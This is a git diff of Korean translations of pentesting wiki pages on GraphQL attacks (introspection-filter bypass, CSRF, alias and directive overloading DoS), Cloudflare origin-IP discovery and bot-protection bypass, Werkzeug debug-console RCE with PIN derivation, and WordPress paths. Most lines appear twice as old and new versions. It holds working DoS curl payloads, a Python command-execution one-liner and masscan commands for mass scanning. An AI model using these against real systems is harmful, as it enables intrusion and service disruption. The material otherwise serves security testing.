게다가, Burp Suite 확장 프로그램 [**GraphQuail**](https://github.com/forcesunseen/graphquail)은 **Burp를 통해 전송되는 GraphQL API 요청을 관찰하고** **각 새로운 쿼리를 통해** 내부 GraphQL **스키마를 구축**합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 더 많은 정보는 [**여기서 확인하세요**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
멋진 **단어 목록**을 통해 [**GraphQL 엔티티를 발견할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?).
멋진 **단어 목록**은 [**GraphQL 엔티티를 발견하는 데 사용할 수 있습니다**](https://github.com/Escape-Technologies/graphql-wordlist?).
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 regex 패턴에서 일반적인 개발자의 실수를 이용하여 `__schema` 키워드에 집중합니다. GraphQL이 무시하지만 regex에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다:
API에서 introspection 쿼리에 대한 제한을 우회하기 위해, `__schema` 키워드 뒤에 **특수 문자를 삽입하는** 것이 효과적입니다. 이 방법은 introspection을 차단하려는 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 **공백, 줄 바꿈 및 쉼표**와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, `__schema` 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다:
```bash
# Example with newline to bypass
{
@ -398,13 +397,13 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **노출된 GraphQL 구조 발견하기**
introspection이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
내부 탐색이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 `Sources` 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 **노출된 민감한 쿼리**를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
file:* query
```
## GraphQL에서의 CSRF
## GraphQL의 CSRF
CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요:
@ -412,7 +411,7 @@ CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요:
../../pentesting-web/csrf-cross-site-request-forgery.md
{{#endref}}
그곳에서**CSRF 토큰 없이 구성된** 여러 GraphQL 엔드포인트를 찾을 수 있습니다.
여기에**CSRF 토큰 없이 구성된** 여러 GraphQL 엔드포인트를 찾을 수 있습니다.
GraphQL 요청은 일반적으로 **`application/json`** 콘텐츠 유형을 사용하여 POST 요청을 통해 전송됩니다.
```javascript
@ -424,7 +423,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
```
따라서 이전과 같은 CSRF 요청이 **사전 비행 요청 없이** 전송되기 때문에, CSRF를 악용하여 GraphQL에서 **변경**을 **수행**할 수 있습니다.
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다.
그러나 Chrome의 `samesite` 플래그의 새로운 기본 쿠키 값 `Lax`라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다.
**쿼리** **요청**을 **GET** **요청**으로 전송하는 것도 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있습니다.
@ -434,7 +433,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
## GraphQL에서의 교차 사이트 WebSocket 하이재킹
GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행**할 수도 있으며, 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 만들 수 있습니다.
GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행하고 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 할 수 있습니다.**
자세한 내용은 확인하십시오:
@ -466,7 +465,7 @@ GraphQL을 악용하는 CRSF 취약점과 유사하게, **보호되지 않은
## GraphQL에서 별칭을 사용한 속도 제한 우회
GraphQL에서 별칭은 API 요청 시 **속성의 이름을 명시적으로 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다.
GraphQL에서 별칭은 API 요청 시 **속성을 명시적으로 이름 지정**할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 **동일한 유형**의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭을 사용하면 GraphQL 객체가 동일한 이름을 가진 여러 속성을 가질 수 없다는 제한을 극복할 수 있습니다.
GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
@ -487,18 +486,18 @@ valid
}
}
```
## DoS in GraphQL
## GraphQL에서의 DoS
### Alias Overloading
### 별칭 오버로드
**Alias Overloading**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 과부하하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이로 인해 서버 리소스가 과부하되어 **서비스 거부(DoS)**로 이어질 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진 수 있습니다:
**별칭 오버로드**는 공격자가 동일한 필드에 대해 많은 별칭으로 쿼리를 오버로드하여 백엔드 리졸버가 해당 필드를 반복적으로 실행하게 만드는 GraphQL 취약점입니다. 이는 서버 리소스를 압도하여 **서비스 거부(DoS)**를 초래할 수 있습니다. 예를 들어, 아래 쿼리에서 동일한 필드(`expensiveField`)가 별칭을 사용하여 1,000번 요청되어 백엔드가 이를 1,000번 계산하게 하여 CPU나 메모리를 소진시킬 수 있습니다:
```graphql
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
```
문제를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오.
이를 완화하기 위해, 리소스 남용을 방지하기 위해 별칭 수 제한, 쿼리 복잡성 분석 또는 속도 제한을 구현하십시오.
### **배열 기반 쿼리 배치**
@ -514,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
### **지시문 과부하 취약점**
**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계 없이 공격자는 수많은 중복 지시문으로 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
**지시문 과부하**는 GraphQL 서버가 과도하고 중복된 지시문을 허용할 때 발생합니다. 이는 서버의 파서와 실행기를 압도할 수 있으며, 특히 서버가 동일한 지시문 로직을 반복적으로 처리할 경우 더욱 그렇습니다. 적절한 검증이나 한계가 없으면, 공격자는 수많은 중복 지시문을 포함한 쿼리를 작성하여 높은 계산 또는 메모리 사용을 유발하여 **서비스 거부(DoS)**를 초래할 수 있습니다.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
@ -536,11 +535,11 @@ curl -X POST \
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
'https://example.com/graphql'
```
그리고 **사용자 정의** 항목 중 일부를 사용합니다.
그리고 **사용자 정의 항목 중 일부를 사용합니다.**
### **필드 중복 취약점**
**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 자원(CPU, 메모리 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드로 쿼리를 작성하여 높은 부하를 유발하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다.
**필드 중복**은 GraphQL 서버가 동일한 필드를 과도하게 반복하 쿼리를 허용하는 취약점입니다. 이로 인해 서버는 각 인스턴스에 대해 필드를 중복으로 해결해야 하며, 이는 상당한 자원(CPU, 메모리 및 데이터베이스 호출)을 소모합니다. 공격자는 수백 또는 수천 개의 반복된 필드가 포함된 쿼리를 작성할 수 있으며, 이는 높은 부하를 초래하고 잠재적으로 **서비스 거부(DoS)**로 이어질 수 있습니다.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -555,12 +554,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 배치 GraphQL 쿼리 및 변형 수행에 중점을 둔 GraphQL 보안 감사 스크립트.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 사용 중인 graphql 지문 인식
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 스키마를 가져오고 민감한 데이터 검색, 권한 테스트, 스키마 무차별 대입 및 특정 유형에 대한 경로 찾기에 사용할 수 있는 도구 키트.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp extension](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 독립형으로 사용하거나 [Burp 확장](https://github.com/doyensec/inql)으로 사용할 수 있습니다.
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI 클라이언트로도 사용하여 공격을 자동화할 수 있습니다.
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법**을 나열하는 도구.
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL 스키마에서 특정 유형에 도달하는 다양한 방법을 나열하는 도구**.
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL의 독립형 및 CLI 모드의 후계자
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 고급 GraphQL 테스트를 위한 Burp 확장. _**스캐너**_는 InQL v5.0의 핵심으로, GraphQL 엔드포인트 또는 로컬 introspection 스키마 파일을 분석할 수 있습니다. 모든 가능한 쿼리와 변형을 자동 생성하여 분석을 위한 구조화된 보기로 정리합니다. _**공격자**_ 구성 요소는 배치 GraphQL 공격을 실행할 수 있게 해주며, 이는 잘못 구현된 속도 제한을 우회하는 데 유용할 수 있습니다.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다.
- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 일부 Graphql 데이터베이스의 도움을 받아 introspection이 비활성화된 상태에서도 스키마를 얻으려고 시도합니다. 이 데이터베이스는 변형 및 매개변수의 이름을 제안합니다.
### 클라이언트
@ -569,11 +568,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
### 자동 테스트
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- AutoGraphQL을 설명하는 비디오: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## 참고 문헌
## 참고자료
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,8 +5,8 @@
## Cloudflare를 드러내기 위한 일반적인 기술
- 도메인의 **과거 DNS 기록**을 제공하는 서비스를 사용할 수 있습니다. 웹 페이지가 이전에 사용된 IP 주소에서 실행되고 있을 수 있습니다.
- **과거 SSL 인증서**를 확인하여 원래 IP 주소를 가리 수 있습니다.
- **IP를 직접 가리키는 다른 서브도메인의 DNS 기록**도 확인하세요. 다른 서브도메인이 같은 서버를 가리키고 있을 가능성이 있습니다(FTP, 메일 또는 기타 서비스를 제공하기 위해).
- **과거 SSL 인증서**를 확인하여 원래 IP 주소를 가리키고 있을 수 있습니다.
- **IP를 직접 가리키는 다른 서브 도메인의 DNS 기록**도 확인하세요. 다른 서브 도메인이 같은 서버를 가리키고 있을 가능성이 있습니다(FTP, 메일 또는 기타 서비스를 제공하기 위해).
- 웹 애플리케이션 내에서 **SSRF를 찾으면** 이를 악용하여 서버의 IP 주소를 얻을 수 있습니다.
- shodan과 같은 브라우저에서 웹 페이지의 고유 문자열을 검색하세요(아마도 google 및 유사한 사이트에서도?). 해당 콘텐츠로 IP 주소를 찾을 수 있을지도 모릅니다.
- 고유 문자열을 찾는 대신 도구를 사용하여 파비콘 아이콘을 검색할 수 있습니다: [https://github.com/karma9874/CloudFlare-IP](https://github.com/karma9874/CloudFlare-IP) 또는 [https://github.com/pielco11/fav-up](https://github.com/pielco11/fav-up)
@ -14,7 +14,7 @@
## Cloudflare를 드러내기 위한 도구
- [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 또는 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com)에서 도메인을 검색하세요. 또는 그 API를 사용하는 도구 [CloudPeler](https://github.com/zidansec/CloudPeler)를 사용하세요.
- [http://www.crimeflare.org:82/cfs.html](http://www.crimeflare.org:82/cfs.html) 또는 [https://crimeflare.herokuapp.com](https://crimeflare.herokuapp.com)에서 도메인을 검색하세요. 또는 [CloudPeler](https://github.com/zidansec/CloudPeler) 도구를 사용하세요(해당 API를 사용합니다).
- [https://leaked.site/index.php?resolver/cloudflare.0/](https://leaked.site/index.php?resolver/cloudflare.0/)에서 도메인을 검색하세요.
- [**CloudFlair**](https://github.com/christophetd/CloudFlair)는 도메인 이름이 포함된 Censys 인증서를 사용하여 검색한 후, 해당 인증서 내의 IPv4를 검색하고 마지막으로 해당 IP에서 웹 페이지에 접근하려고 시도하는 도구입니다.
- [**CloakQuest3r**](https://github.com/spyboy-productions/CloakQuest3r): CloakQuest3r는 Cloudflare 및 기타 대안으로 보호된 웹사이트의 실제 IP 주소를 드러내기 위해 정교하게 제작된 강력한 Python 도구입니다. 이 도구의 핵심 임무는 Cloudflare의 보호막 뒤에 숨겨진 웹 서버의 실제 IP 주소를 정확하게 식별하는 것입니다.
@ -41,7 +41,9 @@ done
이 프로세스에 대한 더 나은 설명은 다음을 확인하세요:
{% embed url="https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#ref}}
https://trickest.com/blog/cloudflare-bypass-discover-ip-addresses-aws/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
{{#endref}}
```bash
# Find open ports
sudo masscan --max-rate 10000 -p80,443 $(curl -s https://ip-ranges.amazonaws.com/ip-ranges.json | jq -r '.prefixes[] | select(.service=="EC2") | .ip_prefix' | tr '\n' ' ') | grep "open" > all_open.txt
@ -61,16 +63,16 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
이 메커니즘은 **클라이언트** [**SSL 인증서**](https://socradar.io/how-to-monitor-your-ssl-certificates-expiration-easily-and-why/) **를 사용하여** **Cloudflare의 리버스 프록시** 서버와 **오리진** 서버 간의 연결을 인증하는 데 의존합니다. 이를 **mTLS**라고 합니다.
고객은 자체 인증서를 구성하는 대신 Cloudflare의 인증서를 사용하여 Cloudflare에서 오는 모든 연결을 허용할 수 있습니다. **테넌트와 관계없이** 가능합니다.
고객은 자체 인증서를 구성하는 대신 Cloudflare의 인증서를 사용하여 **테넌트와 관계없이** Cloudflare에서 오는 모든 연결을 허용할 수 있습니다.
> [!CAUTION]
> 따라서 공격자는 **Cloudflare의 인증서를 사용하여 Cloudflare에 도메인을 설정하고** 이를 **피해자** 도메인 **IP** 주소로 지정할 수 있습니다. 이렇게 하면 자신의 도메인이 완전히 보호되지 않으므로 Cloudflare는 전송된 요청을 보호하지 않습니다.
> 따라서 공격자는 **Cloudflare의 인증서를 사용하여 Cloudflare에 도메인을 설정하고** 이를 **피해자** 도메인 **IP** 주소로 지정할 수 있습니다. 이렇게 하면 자신의 도메인이 완전히 보호되지 않게 되어 Cloudflare는 전송된 요청을 보호하지 않습니다.
자세한 정보는 [**여기**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)에서 확인하세요.
### 허용 목록 Cloudflare IP 주소
이 설정은 **Cloudflare의** IP 주소 범위에서 발생하지 않는 연결을 **거부**합니다. 이는 공격자가 자신의 도메인을 Cloudflare에 **지정하여** **피해자의 IP** 주소로 공격하는 이전 설정에 취약합니다.
이 설정은 **Cloudflare의** IP 주소 범위에서 발생하지 않는 연결을 **거부**합니다. 이는 공격자가 **Cloudflare에서 자신의 도메인을** 피해자의 IP 주소로 지정하고 공격하는 이전 설정에 취약합니다.
자세한 정보는 [**여기**](https://socradar.io/cloudflare-protection-bypass-vulnerability-on-threat-actors-radar/)에서 확인하세요.
@ -94,11 +96,11 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
여러 가지 Cloudflare 솔버가 개발되었습니다:
- [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr)
- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [가이드 여기](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
- [cloudscraper](https://github.com/VeNoMouS/cloudscraper) [가이드 여기](https://scrapeops.io/python-web-scraping-playbook/python-cloudscraper/)
- [cloudflare-scrape](https://github.com/Anorov/cloudflare-scrape)
- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
- [Cloudflare-IUAM-Solver](https://github.com/ninja-beans/cloudflare-iuam-solver)
- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[보관됨]
- [cloudflare-bypass](https://github.com/devgianlu/cloudflare-bypass) \[아카이브됨\]
- [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe)
### 강화된 헤드리스 브라우저 <a href="#option-4-scrape-with-fortified-headless-browsers" id="option-4-scrape-with-fortified-headless-browsers"></a>
@ -107,18 +109,18 @@ httpx -json -no-color -list aws_webs.json -header Host: cloudflare.malwareworld.
- **Puppeteer:** [puppeteer](https://github.com/puppeteer/puppeteer)용 [스텔스 플러그인](https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-stealth).
- **Playwright:** [스텔스 플러그인](https://www.npmjs.com/package/playwright-stealth)이 곧 Playwright에 추가됩니다. 개발 상황은 [여기](https://github.com/berstend/puppeteer-extra/issues/454)와 [여기](https://github.com/berstend/puppeteer-extra/tree/master/packages/playwright-extra)에서 확인하세요.
- **Selenium:** [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver) 최적화된 Selenium Chromedriver 패치.
- **Selenium:** 최적화된 Selenium Chromedriver 패치인 [undetected-chromedriver](https://github.com/ultrafunkamsterdam/undetected-chromedriver).
### Cloudflare 내장 우회 기능이 있는 스마트 프록시 <a href="#option-5-smart-proxy-with-cloudflare-built-in-bypass" id="option-5-smart-proxy-with-cloudflare-built-in-bypass"></a>
**스마트 프록시**는 전문 회사에 의해 지속적으로 업데이트되어 Cloudflare의 보안 조치를 우회하는 것을 목표로 합니다(그들이 하는 사업입니다).
**스마트 프록시**는 전문 회사에 의해 지속적으로 업데이트되어 Cloudflare의 보안 조치를 우회하는 것을 목표로 합니다(이것이 그들의 비즈니스입니다).
그 중 일부는 다음과 같습니다:
- [ScraperAPI](https://www.scraperapi.com/?fp_ref=scrapeops)
- [Scrapingbee](https://www.scrapingbee.com/?fpr=scrapeops)
- [Oxylabs](https://oxylabs.go2cloud.org/aff_c?offer_id=7&aff_id=379&url_id=32)
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb) 는 독점적인 Cloudflare 우회 메커니즘으로 주목받고 있습니다.
- [Smartproxy](https://prf.hn/click/camref:1100loxdG/[p_id:1100l442001]/destination:https%3A%2F%2Fsmartproxy.com%2Fscraping%2Fweb)는 독점적인 Cloudflare 우회 메커니즘으로 주목받고 있습니다.
최적화된 솔루션을 찾는 사람들을 위해 [ScrapeOps Proxy Aggregator](https://scrapeops.io/proxy-aggregator/)가 두드러집니다. 이 서비스는 20개 이상의 프록시 제공업체를 단일 API로 통합하여 대상 도메인에 대해 가장 좋고 비용 효율적인 프록시를 자동으로 선택하여 Cloudflare의 방어를 탐색하는 데 우수한 옵션을 제공합니다.

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## Console RCE
디버그가 활성화되어 있으면 `/console`에 접근하여 RCE를 얻 수 있습니다.
디버그가 활성화되어 있으면 `/console`에 접근하여 RCE를 얻으려고 시도할 수 있습니다.
```python
__import__('os').popen('whoami').read();
```
@ -25,7 +24,7 @@ The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
"console locked" 시나리오에 대한 메시지가 Werkzeug의 디버그 인터페이스에 접근하려고 할 때 나타나며, 콘솔 잠금을 해제하기 위해 PIN이 필요함을 나타냅니다. 콘솔 PIN을 악용하기 위해 Werkzeug의 디버그 초기화 파일(`__init__.py`)에서 PIN 생성 알고리즘을 분석할 것을 제안합니다. PIN 생성 메커니즘은 [**Werkzeug 소스 코드 저장소**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)에서 연구할 수 있지만, 잠재적인 버전 불일치로 인해 실제 서버 코드를 파일 탐색 취약점을 통해 확보하는 것이 좋습니다.
"console locked" 시나리오에 대한 메시지가 Werkzeug의 디버그 인터페이스에 접근하려고 할 때 나타나며, 콘솔 잠금을 해제하기 위해 PIN이 필요함을 나타냅니다. PIN 생성 알고리즘을 분석하여 콘솔 PIN을 악용할 것을 제안합니다. PIN 생성 메커니즘은 [**Werkzeug 소스 코드 저장소**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py)에서 연구할 수 있지만, 잠재적인 버전 불일치로 인해 파일 탐색 취약점을 통해 실제 서버 코드를 확보하는 것이 좋습니다.
콘솔 PIN을 악용하기 위해 두 세트의 변수가 필요합니다: `probably_public_bits``private_bits`.
@ -141,10 +140,10 @@ rv = num
print(rv)
```
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt``pinsalt`)를 추가하며 출력을 포맷하여 PIN을 생성합니다. `probably_public_bits``private_bits`의 실제 값은 생성된 PIN이 Werkzeug 콘솔에서 예상되는 것과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다.
이 스크립트는 연결된 비트를 해싱하고 특정 솔트(`cookiesalt``pinsalt`)를 추가하며 출력을 형식화하여 PIN을 생성합니다. `probably_public_bits``private_bits`의 실제 값은 생성된 PIN이 Werkzeug 콘솔에서 예상되는 것과 일치하도록 목표 시스템에서 정확하게 얻어야 한다는 점이 중요합니다.
> [!TIP]
> **버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보십시오.
> **오래된 버전**의 Werkzeug를 사용 중이라면 **해싱 알고리즘을 sha1 대신 md5로 변경**해 보세요.
## Werkzeug 유니코드 문자
@ -154,14 +153,15 @@ print(rv)
## 자동화된 익스플로잇
{% embed url="https://github.com/Ruulian/wconsole_extractor" %}
{{#ref}}
https://github.com/Ruulian/wconsole_extractor
{{#endref}}
## 참고 문헌
## 참고자료
- [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
- [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
- [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833)
- [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,9 +5,9 @@
## 기본 정보
- **업로드된** 파일은 다음 위치에 저장됩니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어, **테마 twentytwelve**를 사용하면 다음 위치에서 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 아마도 해당 경로를 사용할 것입니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **또 다른 유용한 URL은 다음과 같습니다:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **wp-config.php**에서 데이터베이스의 루트 비밀번호를 찾을 수 있습니다.
- 확인할 기본 로그인 경로: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
@ -16,17 +16,17 @@
- `index.php`
